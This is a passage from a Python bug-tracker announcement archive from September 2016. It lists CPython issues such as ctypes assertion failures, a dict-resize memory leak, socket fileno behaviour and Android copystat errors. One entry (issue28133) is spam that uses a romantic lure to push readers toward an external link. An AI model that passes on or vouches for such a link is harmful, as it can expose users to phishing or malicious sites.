These checks are coarse. We may use more strict checks, but since I don't know well the implementation of dict, I chose to use safe bounds :-)

I wrote a function similar to _PyDict_CheckConsistency() in Objects/unicodeobject.c to help me to understand the new complex structure of a Unicode string, to detect bugs and to somehow document the implementation (it helps me to write many comments in unicodeobject.h on the different structures).

----------
files: dict_check_consistency.patch
keywords: patch
messages: 276281
nosy: haypo, methane, xiang.zhang
priority: normal
severity: normal
status: open
title: Add _PyDict_CheckConsistency()
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44635/dict_check_consistency.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28127>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:10:24 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Tue, 13 Sep 2016 15:10:24 +0000
Subject: [New-bugs-announce] [issue28128] Improve the warning message for
 invalid escape sequences
Message-ID: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>


New submission from Chi Hsuan Yen:

In issue27364, invalid escape sequences in string literals are deprecated. Currently the deprecation message is not so useful when fixing lots of files in one or more large projects. For example, I have two files foo.py and bar.py:

# foo.py
import bar

# bar.py
print('\d')

It gives:
$ python3.6 -W error foo.py
Traceback (most recent call last):
  File "foo.py", line 1, in <module>
    import bar
DeprecationWarning: invalid escape sequence '\d'

My idea is that the warning message can be improved to provide more information. In http://bugs.python.org/issue27364#msg269373 it's proposed to let a linter check such misuses. It's useful within a single project. For a project that depends on lots of external projects, a linter is not enough. Things are worse when __import__, imp or importlib are involved, or sys.path is modified. I have to either add some codes or use a debugger to show which module is imported.

For above reasons, I propose to add at least the filename and the line number to the warning message. For example:

$ ./python -W error foo.py
Traceback (most recent call last):
  File "foo.py", line 1, in <module>
    import bar
  File "/home/yen/Projects/cpython/build/bar.py", line 1
    print('\d')
         ^
SyntaxError: (deprecated usage) invalid escape sequence '\d'

With that I can know which file or project I should blame.

Added some of reviewers from issue27364 to nosy list.

----------
components: Interpreter Core, Library (Lib)
messages: 276285
nosy: Chi Hsuan Yen, martin.panter, r.david.murray, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Improve the warning message for invalid escape sequences
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Tue Sep 13 11:14:14 2016
From: report at bugs.python.org (Oren Milman)
Date: Tue, 13 Sep 2016 15:14:14 +0000
Subject: [New-bugs-announce] [issue28129] assertion failures in ctypes
Message-ID: <1473779654.66.0.219445763591.issue28129@psf.upfronthosting.co.za>


New submission from Oren Milman:

------------ current state ------------
In Modules\_ctypes\_ctypes.c, there are six functions with assertions that might fail:
    1. CDataType_from_buffer
    2. CDataType_from_buffer_copy
    3. PyCPointerType_set_type
    4. PyCPointerType_from_param
    5. PyCSimpleType_from_param
    6. _validate_paramflags
The following is true for each of these functions:
    - It assumes its first argument is a subclass (or an instance of a subclass) of some abstract ctype, which means it (the first argument) has a storage dict.
    - Thus, it asserts its first argument has a storage dict.
    - However, its first argument might be some abstract ctype (and not a subclass (or an instance of a subclass) of that abstract ctype), in which case the assertion fails.

In Modules\_ctypes\cfield.c, there are two functions with assertions that might fail:
    1. PyCField_set
    2. PyCField_get
These functions are the C implementations of the __set__ and __get__ functions (respectively) of the CFeild type. Each of them asserts its instance argument is a CDataObject, which might not be true.


------------ proposed changes ------------
Replace each of these assertions with an if statement that raises an exception in case of an invalid argument.


------------ diff ------------
The proposed patches diff file is attached.


------------ tests ------------
I wrote an ugly script to verify the assertion failures on CPython without my patches, and to test the patches on CPython with my patches. The script is attached, but it would probably fail on a non-Windows machine.

I built the patched CPython for x86, and played with it a little. Everything seemed to work as usual.

In addition, I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the patches, and got quite the same output.
The outputs of both runs are attached.

----------
components: ctypes
files: testBugsOrPatches.py
messages: 276288
nosy: Oren Milman
priority: normal
severity: normal
status: open
title: assertion failures in ctypes
type: crash
versions: Python 3.7
Added file: http://bugs.python.org/file44636/testBugsOrPatches.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28129>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:01:46 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 13 Sep 2016 16:01:46 +0000
Subject: [New-bugs-announce] [issue28130] Document that time.tzset updates
 time module constants
Message-ID: <1473782506.71.0.242774514927.issue28130@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

Reported by MAL in #22798 (msg251840):

"The fact that tzset() does update the module globals is
not documented."

The documentation should explicitly list timezone, daylight, altzone and tzname as the globals that are updated when time.tzset() is called.

----------
assignee: docs at python
components: Documentation
keywords: easy
messages: 276294
nosy: belopolsky, docs at python
priority: normal
severity: normal
status: open
title: Document that time.tzset updates time module constants
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28130>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:19:15 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Tue, 13 Sep 2016 16:19:15 +0000
Subject: [New-bugs-announce] [issue28131] assert statements missed when
 loaded by zipimporter
Message-ID: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>


New submission from Jason R. Coombs:

Grabbing the recently released Python 3.6.0b1, I tried running one of my test suites, but found that some assertions were failing to assert when the package was loaded as a zip file (such as with pytest-runner installed dependencies). I distilled the issue to this:

$ cat > mod.py
def test(val):
        assert(val)
        print(val)
$ zip mod.zip mod.py
updating: mod.py (deflated 20%)
$ rm mod.py
$ python
Python 3.6.0b1 (v3.6.0b1:5b0ca4ed5e2f, Sep 12 2016, 09:24:46) 
[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path.append('mod.zip')
>>> import mod
>>> mod.test(False)
False
>>> mod.__loader__
<zipimporter object "mod.zip">
>>> sys.flags.optimize
0

I would have expected the call to mod.test to have raised an AssertionError, and on Python 3.5 it does.

I searched the what's new and didn't see anything advertising this change, so I suspect it's an unintentional regression.

I'm including Brett for his familiarity with importlib, but welcome re-assignment.

If I can do more to help, let me know.

----------
components: Library (Lib)
messages: 276296
nosy: brett.cannon, jason.coombs, ned.deily
priority: release blocker
severity: normal
status: open
title: assert statements missed when loaded by zipimporter
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Tue Sep 13 12:43:04 2016
From: report at bugs.python.org (Big Stone)
Date: Tue, 13 Sep 2016 16:43:04 +0000
Subject: [New-bugs-announce] [issue28132] impossible to uninstall
 python3.6.0b1-amd64 from windows 10
Message-ID: <1473784984.9.0.26484337307.issue28132@psf.upfronthosting.co.za>


New submission from Big Stone:

most of the time, it confuses "uninstall" button for a "modify".
when not confusing, it takes 0.5 second for no visible effect.

----------
messages: 276301
nosy: Big Stone
priority: normal
severity: normal
status: open
title: impossible to uninstall python3.6.0b1-amd64 from windows 10

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28132>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:57:31 2016
From: report at bugs.python.org (Gukas Artunyan)
Date: Tue, 13 Sep 2016 18:57:31 +0000
Subject: [New-bugs-announce] [issue28133] really and truly
Message-ID: <00002cd07039$4e91d9ac$2b1a8609$@yahoo.com>


New submission from Gukas Artunyan:

Hello! 

I wanted to share with you something important , I guess I really and truly am in love this  time!  Take a  look at some pics of us  <http://link.davidcchou.com/lnrjw>

Be well, gukaar77

----------
messages: 276324
nosy: gukaar77
priority: normal
severity: normal
status: open
title: really and truly

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28133>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:13:31 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 19:13:31 +0000
Subject: [New-bugs-announce] [issue28134] socket.socket(fileno=fd) does not
 work as documented
Message-ID: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>


New submission from Christian Heimes:

Documentation of socket.socket(fileno) https://docs.python.org/3/library/socket.html#socket.socket says:

> If fileno is specified, the other arguments are ignored, causing the socket with the specified file descriptor to return.

The feature does not work. fileno does not infer the values for family, type and proto from the fd. Instead if uses the other arguments. I don't see how this feature should have ever worked on POSIX. There are no calls to getsockopt() with SO_DOMAIN, SO_TYPE and SO_PROTOCOL.

$ ./python 
Python 3.7.0a0 (default:6bcedf96d25f, Sep 13 2016, 20:48:50) 
[GCC 6.1.1 20160621 (Red Hat 6.1.1-3)] on linux
Type "help", "copyright", "credits" or "license" for more information.

>>> import socket
>>> uds = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
>>> uds
<socket.socket fd=3, family=AddressFamily.AF_UNIX, type=SocketKind.SOCK_STREAM, proto=0>
>>> s = socket.socket(fileno=uds.fileno())
>>> s
<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0>
>>> s.family == uds.family
False
>>> s2 = socket.socket(type=socket.SOCK_DGRAM, fileno=uds.fileno())
>>> s2
<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_DGRAM, proto=0>

----------
messages: 276327
nosy: christian.heimes
priority: normal
severity: normal
status: open
title: socket.socket(fileno=fd) does not work as documented
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:12:11 2016
From: report at bugs.python.org (Facundo Batista)
Date: Tue, 13 Sep 2016 20:12:11 +0000
Subject: [New-bugs-announce] [issue28135] assertRaises should return the
 exception in its simple form
Message-ID: <1473797531.08.0.417014131559.issue28135@psf.upfronthosting.co.za>


New submission from Facundo Batista:

So, you could do:

  exc = self.assertRaises(ValueError, somefunc, someargs)

And then, explore "exc" as will. 

Yes, you can get the exception if you use assertRaises as a context manager, but that leads to more cumbersome code:

  with self.assertRaises(ValueError) as cm:
      somefunc(someargs)
      exc = cm.exception

----------
messages: 276334
nosy: facundobatista
priority: normal
severity: normal
status: open
title: assertRaises should return the exception in its simple form

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28135>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:30:12 2016
From: report at bugs.python.org (triuan)
Date: Tue, 13 Sep 2016 20:30:12 +0000
Subject: [New-bugs-announce] [issue28136] RegEx documentation error
Message-ID: <1473798612.84.0.969871008678.issue28136@psf.upfronthosting.co.za>


New submission from triuan:

https://docs.python.org/2/library/re.html

error:
...string 'aaaaaa', a{3,5} will match 5 'a' characters...

suggest correction:
...string 'aaaaaa', a{5} will match 5 'a' characters...

----------
assignee: docs at python
components: Documentation
messages: 276336
nosy: docs at python, triuan
priority: normal
severity: normal
status: open
title: RegEx documentation error

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28136>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:07:35 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 13 Sep 2016 21:07:35 +0000
Subject: [New-bugs-announce] [issue28137] Windows sys.path file should be
 renamed
Message-ID: <1473800855.2.0.943648814208.issue28137@psf.upfronthosting.co.za>


New submission from Steve Dower:

The Windows getpath implementation gained the ability to find and read a sys.path file to skip reading the registry.

While the name is cute, it really ought to start with a leading underscore (i.e. "_sys.path") to indicate that it is very at-your-own-risk. The docs should be updated to indicate that its behavior may be changed in later versions of Python (though it's guaranteed to only change backwards-compatibly for 3.6).

Since the file is only used with a specific installation of Python (specifically the embedded distro), this shouldn't be an issue as nobody is meant to upgrade Python without removing/replacing this file.

----------
assignee: steve.dower
components: Windows
messages: 276343
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Windows sys.path file should be renamed
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28137>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:11:22 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 13 Sep 2016 21:11:22 +0000
Subject: [New-bugs-announce] [issue28138] Windows _sys.path file should
 allow import site
Message-ID: <1473801082.85.0.435937363317.issue28138@psf.upfronthosting.co.za>


New submission from Steve Dower:

Windows's _sys.path file (being renamed from sys.path in b1) currently disable the initial "import site; site.main()" call. However, there are legitimate cases where you may want to opt-in to this while still controlling the search paths.

We should support "import site" as a line in this file that indicates that Py_NoSite should *not* be set. We deliberately do not want arbitrary code execution from this file - there's a reason it's '.path' and not '.pth'

(While I or someone else is here, we should also handle blank lines and lines starting with '#' specially, so that files can be formatted more nicely.)

----------
assignee: steve.dower
components: Windows
messages: 276344
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Windows _sys.path file should allow import site
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28138>
_______________________________________

From report at bugs.python.org  Tue Sep 13 20:49:26 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Wed, 14 Sep 2016 00:49:26 +0000
Subject: [New-bugs-announce] [issue28139] Misleading Indentation
Message-ID: <1473814166.19.0.411912100522.issue28139@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

Fixed the warnings that appear when compiling 2.7 with -Wmisleading-indentation (Included in -Wall since GCC 6).

Kinda related, though I don't think there would be too much interest in fixing it (all the tabs in Python's C source):
$ find . -name '*.c' -print0 | xargs -0 grep -R $'\t' | wc -l
10407

----------
files: misleading_indentation.patch
keywords: patch
messages: 276367
nosy: franciscouzo
priority: normal
severity: normal
status: open
title: Misleading Indentation
versions: Python 2.7
Added file: http://bugs.python.org/file44645/misleading_indentation.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28139>
_______________________________________

From report at bugs.python.org  Wed Sep 14 00:40:03 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 14 Sep 2016 04:40:03 +0000
Subject: [New-bugs-announce] [issue28140] Attempt to give better errors for
 shell commands typed into the REPL
Message-ID: <1473828003.51.0.301742763108.issue28140@psf.upfronthosting.co.za>


New submission from Nick Coghlan:

A problem we're starting to see on distutils-sig is folks trying to type pip commands into the Python REPL rather than their system shell, and getting cryptic syntax errors back:

>>> pip install requests
  File "<stdin>", line 1
    pip install requests
              ^
SyntaxError: invalid syntax
>>> python -m pip install requests
  File "<stdin>", line 1
    python -m pip install requests
                ^
SyntaxError: invalid syntax

This may be amenable to a similar solution to the one we used to give a custom error message for "print ":

>>> print foo
  File "<stdin>", line 1
    print foo
            ^
SyntaxError: Missing parentheses in call to 'print'

That code currently checks for "print " and "exec ", so it would be a matter of adding another special case that looked for "pip install " appearing anywhere in the string that's failing to compile (it can't be limited to the start as it may be an attempt to invoke pip via "-m")

----------
messages: 276373
nosy: ncoghlan
priority: normal
severity: normal
status: open
title: Attempt to give better errors for shell commands typed into the REPL
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28140>
_______________________________________

From report at bugs.python.org  Wed Sep 14 02:04:10 2016
From: report at bugs.python.org (Jerry A)
Date: Wed, 14 Sep 2016 06:04:10 +0000
Subject: [New-bugs-announce] [issue28141] shutil.copystat utime lookup fails
 on certain Android file systems
Message-ID: <1473833050.26.0.837055301848.issue28141@psf.upfronthosting.co.za>


New submission from Jerry A:

shutil.copystat fails on certain Android filesystems when trying lookup("utime") (line 194 of https://hg.python.org/cpython/file/3.5/Lib/shutil.py)

Using Python 2.7 and Python 3.5 on Android 6.0.1., when I am on the "typical" user file system, and I run a script that uses shutil.copy2, that copy2 will fail when it calls shutil.copystat and that copystat fails performing utime on the destination file.

I am attaching a script that can be used to reproduce this. I run the script using python 3.5 within termux.

Below is a transcript my running of the attacked script.

$ pwd
/data/data/com.termux/files/home

$ ls --l
Dropbox  storage  tmp  venv  workspace

$ ls -la
total 52
drwx------ 10 u0_a73 u0_a73    4096 Sep 13 16:07 .
drwx------  4 u0_a73 u0_a73    4096 Jul 10 02:18 ..
-rw-------  1 u0_a73 u0_a73    7011 Sep 13 20:34 .bash_history
drwx------  3 u0_a73 u0_a73    4096 Jul 10 02:30 .cache
drwxrwx--- 12 u0_a73 everybody 4096 Sep 13 15:35 .emacs.d
drwx------  2 u0_a73 u0_a73    4096 Jul 10 15:58 .gnupg
-rw-------  1 u0_a73 u0_a73     145 Sep 13 16:07 .python_history
drwx------  2 u0_a73 everybody 4096 Sep 13 12:45 .ssh
drwx------  3 u0_a73 u0_a73    4096 Sep 13 14:10 Dropbox
drwx------  2 u0_a73 u0_a73    4096 Jul 10 03:42 storage
drwx------  2 u0_a73 u0_a73    4096 Sep 13 14:24 tmp
drwx------  5 u0_a73 u0_a73    4096 Jul 10 02:33 venv
lrwxrwxrwx  1 u0_a73 u0_a73      30 Jul 10 15:54 workspace -> /storage/emulated/0/workspace/


$ cat /proc/mounts
rootfs / rootfs ro,seclabel,relatime 0 0
tmpfs /dev tmpfs rw,seclabel,nosuid,relatime,mode=755 0 0
devpts /dev/pts devpts rw,seclabel,relatime,mode=600 0 0
none /dev/memcg cgroup rw,relatime,memory 0 0
none /dev/cpuctl cgroup rw,relatime,cpu 0 0
adb /dev/usb-ffs/adb functionfs rw,relatime 0 0
proc /proc proc rw,relatime 0 0
sysfs /sys sysfs rw,seclabel,relatime 0 0
selinuxfs /sys/fs/selinux selinuxfs rw,relatime 0 0
none /sys/fs/cgroup tmpfs rw,seclabel,relatime,mode=750,gid=1000 0 0
none /sys/fs/cgroup/memory cgroup rw,relatime,memory 0 0
/sys/kernel/debug /sys/kernel/debug debugfs rw,seclabel,relatime 0 0
none /acct cgroup rw,relatime,cpuacct 0 0
tmpfs /mnt tmpfs rw,seclabel,relatime,mode=755,gid=1000 0 0
/dev/fuse /mnt/runtime/default/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/fuse /mnt/runtime/read/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/fuse /mnt/runtime/write/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/block/platform/dw_mmc.0/by-name/system /system ext4 ro,seclabel,relatime 0 0
/dev/block/platform/dw_mmc.0/by-name/cache /cache ext4 rw,seclabel,nosuid,nodev,noatime,journal_checksum,journal_async_commit,noauto_da_alloc,errors=panic,data=ordered 0 0
/dev/block/platform/dw_mmc.0/by-name/userdata /data ext4 rw,seclabel,nosuid,nodev,noatime,journal_checksum,journal_async_commit,noauto_da_alloc,errors=panic,data=ordered 0 0
/dev/block/platform/dw_mmc.0/by-name/efs /factory ext4 ro,seclabel,relatime,data=ordered 0 0
tmpfs /storage tmpfs rw,seclabel,relatime,mode=755,gid=1000 0 0
/dev/fuse /storage/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
tmpfs /storage/self tmpfs rw,seclabel,relatime,mode=755,gid=1000 0 0
$

$ cd workspace
$ cd foo
$ cd copystatbug/

$ echo "this is Mr. Lorem Ipsum" > foo.bar
$ cat foo.bar
this is Mr. Lorem Ipsum

$ python copyoops2.py
copyfoo
A problem lookingup utime(<built-in function utime>) of foo.foo; [Errno 1] Operation not permitted
A problem copying the file metadata of foo.bar to foo.foo; [Errno 1] Operation not permitted: 'foo.foo'
copybar
A problem lookingup utime(<built-in function utime>) of bar.bar; [Errno 1] Operation not permitted
Traceback (most recent call last):
  File "copyoops2.py", line 155, in <module>
    copybar("foo.bar", "bar.bar")
  File "copyoops2.py", line 151, in copybar
    copystat(src, dst, follow_symlinks=follow_symlinks)
  File "copyoops2.py", line 81, in copystat
    lookup("chmod")(dst, mode, follow_symlinks=follow)
PermissionError: [Errno 1] Operation not permitted: 'bar.bar'
$ ls -la
total 36
drwxrwx--- 2 root everybody 4096 Sep 13 22:40 .
drwxrwx--- 4 root everybody 4096 Sep 13 20:42 ..
-rw-rw---- 1 root everybody   24 Sep 13 22:40 bar.bar
-rw-rw---- 1 root everybody 4846 Sep 13 22:38 copyoops.py
-rw-rw---- 1 root everybody 4838 Sep 13 22:39 copyoops2.py
-rw-rw---- 1 root everybody   24 Sep 13 20:57 foo.bar
-rw-rw---- 1 root everybody   24 Sep 13 22:40 foo.foo
$ python --version
Python 3.5.2

----------
components: Library (Lib)
files: copyoops2.py
messages: 276385
nosy: Jerry A
priority: normal
severity: normal
status: open
title: shutil.copystat utime lookup fails on certain Android file systems
type: behavior
versions: Python 2.7, Python 3.5
Added file: http://bugs.python.org/file44650/copyoops2.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28141>
_______________________________________

From report at bugs.python.org  Wed Sep 14 02:42:16 2016
From: report at bugs.python.org (Memo)
Date: Wed, 14 Sep 2016 06:42:16 +0000
Subject: [New-bugs-announce] [issue28142] windows installer not adding
 PYTHONHOME
Message-ID: <1473835336.65.0.165841373557.issue28142@psf.upfronthosting.co.za>


New submission from Memo:

Hi,

when i run python from elevated CMD it is failed to start and give error system codecs not found...

The problem is python installer for windows "python-3.5.2-amd64.exe" is not adding the PYTHONHOME environment variable.

When I manually added it problem solved.

Thanks,

----------
components: Installation
messages: 276387
nosy: Mm
priority: normal
severity: normal
status: open
title: windows installer not adding PYTHONHOME
type: crash
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28142>
_______________________________________

From report at bugs.python.org  Wed Sep 14 04:53:00 2016
From: report at bugs.python.org (Malthe Borch)
Date: Wed, 14 Sep 2016 08:53:00 +0000
Subject: [New-bugs-announce] [issue28143] ASDL compatibility with Python 3
 system interpreter
Message-ID: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>


New submission from Malthe Borch:

Many systems today use Python 3 as the default interpreter "python". The Python 2.7 build fails because of syntax incompatibility.

Attached patch fixes this.

----------
components: Build
files: 0001-Allow-make-to-be-run-under-Python-3.patch
keywords: patch
messages: 276401
nosy: malthe
priority: normal
severity: normal
status: open
title: ASDL compatibility with Python 3 system interpreter
type: compile error
versions: Python 2.7
Added file: http://bugs.python.org/file44654/0001-Allow-make-to-be-run-under-Python-3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Wed Sep 14 05:40:38 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 14 Sep 2016 09:40:38 +0000
Subject: [New-bugs-announce] [issue28144] Decrease empty_keys_struct's
 dk_refcnt
Message-ID: <1473846038.37.0.246156415541.issue28144@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

There is no dummy_struct any more. So I think we can decrease empty_keys_struct's dk_refcnt.

----------
files: empty_keys.patch
keywords: patch
messages: 276405
nosy: haypo, methane, xiang.zhang
priority: normal
severity: normal
status: open
title: Decrease empty_keys_struct's dk_refcnt
Added file: http://bugs.python.org/file44656/empty_keys.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28144>
_______________________________________

From report at bugs.python.org  Wed Sep 14 06:59:46 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Wed, 14 Sep 2016 10:59:46 +0000
Subject: [New-bugs-announce] [issue28145] Fix whitespace in C source code
Message-ID: <1473850786.65.0.167663767875.issue28145@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

I changed most of the tabs in the source code to spaces, and removed trailing whitespace.

I also made some scripts that generate code use spaces and not generate trailing whitespace. (makesetup and makeunicodedata.py)

I fixed a typo in Modules/makesetup (I don't know if I should open another issue, if so please tell me)

I think by changing line Tools/unicode/makeunicodedata.py:1260 to file.write(s.strip() + "\n") the trailing whitespace in unicodename_db.h and unicodedata_db.h would be fixed, but I didn't put that change in the patch because I couldn't test it.

I couldn't find where Parser/asdl_c.py is generating the trailing spaces for Python-ast.h

----------
files: fix_whitespace.patch
keywords: patch
messages: 276414
nosy: franciscouzo
priority: normal
severity: normal
status: open
title: Fix whitespace in C source code
versions: Python 3.7
Added file: http://bugs.python.org/file44657/fix_whitespace.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28145>
_______________________________________

From report at bugs.python.org  Wed Sep 14 07:12:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 14 Sep 2016 11:12:35 +0000
Subject: [New-bugs-announce] [issue28146] Confusing error examples in
 str.format()
Message-ID: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

For example:

>>> '{:04}'.format('abc')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: '=' alignment not allowed in string format specifier

There is no any '=' in the format string.

>>> '{: }'.format('abc')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: Sign not allowed in string format specifier

There is no any sign ('+' or '-') in the format string.

There also an inconsistency between the wording of "something not allowed in string format specifier" and:

>>> '{:x}'.format('abc')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: Unknown format code 'x' for object of type 'str'
>>> '{:xx}'.format('abc')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: Invalid format specifier

----------
components: Interpreter Core, Unicode
messages: 276415
nosy: ezio.melotti, haypo, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Confusing error examples in str.format()

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28146>
_______________________________________

From report at bugs.python.org  Wed Sep 14 07:44:13 2016
From: report at bugs.python.org (Min RK)
Date: Wed, 14 Sep 2016 11:44:13 +0000
Subject: [New-bugs-announce] [issue28147] Memory leak in dictionary resize
Message-ID: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>


New submission from Min RK:

There is a memory leak in the new dictionary resizing in 3.6, which can cause memory exhaustion in just a few iterations.

I don't fully understand the details of the bug, but it happens when resizing a dict with a split table several times.  The only way that I have found to trigger this is by popping items off of an object's `__dict__` repeatedly.

I've attached a script to illustrate the issue. Be careful with it, because it will eat up all your memory if you don't interrupt it.

----------
components: Interpreter Core
files: test-dict-pop.py
messages: 276418
nosy: minrk
priority: normal
severity: normal
status: open
title: Memory leak in dictionary resize
type: crash
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44658/test-dict-pop.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:35:29 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 14 Sep 2016 12:35:29 +0000
Subject: [New-bugs-announce] [issue28148] Also stop using localtime() in
 timemodule
Message-ID: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>


New submission from Ed Schouten:

In issue 28067, we changed _datetimemodule to stop using localtime() and gmtime(), which is nice. I actually needed such a change for CloudABI (https://mail.python.org/pipermail/python-dev/2016-July/145708.html) which does not provide the thread-unsafe variants. Only localtime_r() and gmtime_r() are provided.

If we're starting to make use of these functions, let's complete this by also changing timemodule to use them. I've attached a patch.

Maybe it now makes sense to move the Windows wrappers to some header file, so that they can be shared between both modules. What would be the right location for this?

----------
components: Extension Modules
files: patch-no-gmtime-localtime
messages: 276421
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: Also stop using localtime() in timemodule
versions: Python 3.6
Added file: http://bugs.python.org/file44660/patch-no-gmtime-localtime

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:36:47 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 14 Sep 2016 12:36:47 +0000
Subject: [New-bugs-announce] =?utf-8?q?=5Bissue28149=5D_Incorrect_indentat?=
 =?utf-8?b?aW9uIHVuZGVyIOKAnGVsc2XigJ0gaW4gX2JzZGRiLmM=?=
Message-ID: <1473856607.19.0.0525868004133.issue28149@psf.upfronthosting.co.za>


New submission from Martin Panter:

Compiling Python 2.7 gives:

/home/proj/python/cpython/Modules/_bsddb.c: In function ?newDBObject?:
/home/proj/python/cpython/Modules/_bsddb.c:936:5: warning: this ?else? clause does not guard... [-Wmisleading-indentation]
     else
     ^~~~
/home/proj/python/cpython/Modules/_bsddb.c:938:9: note: ...this statement, but the latter is misleadingly indented as if it is guarded by the ?else?
         self->moduleFlags.cursorSetReturnsNone = DEFAULT_CURSOR_SET_RETURNS_NONE;
         ^~~~

The code in question was changed a long time ago in revision defa1d825b08:

     if (self->myenvobj)
-        self->getReturnsNone = self->myenvobj->getReturnsNone;
+        self->moduleFlags = self->myenvobj->moduleFlags;
     else
-        self->getReturnsNone = GET_RETURNS_NONE_DEFAULT;
+        self->moduleFlags.getReturnsNone = DEFAULT_GET_RETURNS_NONE;
+        self->moduleFlags.cursorSetReturnsNone = DEFAULT_CURSOR_SET_RETURNS_NONE;

It looks like the solution is to group both statements with braces, but I don?t know this module, so I can?t be sure, and I don?t know how to test it.

----------
components: Extension Modules
messages: 276422
nosy: gregory.p.smith, martin.panter
priority: normal
severity: normal
stage: test needed
status: open
title: Incorrect indentation under ?else? in _bsddb.c
type: compile error
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28149>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:39:30 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Wed, 14 Sep 2016 12:39:30 +0000
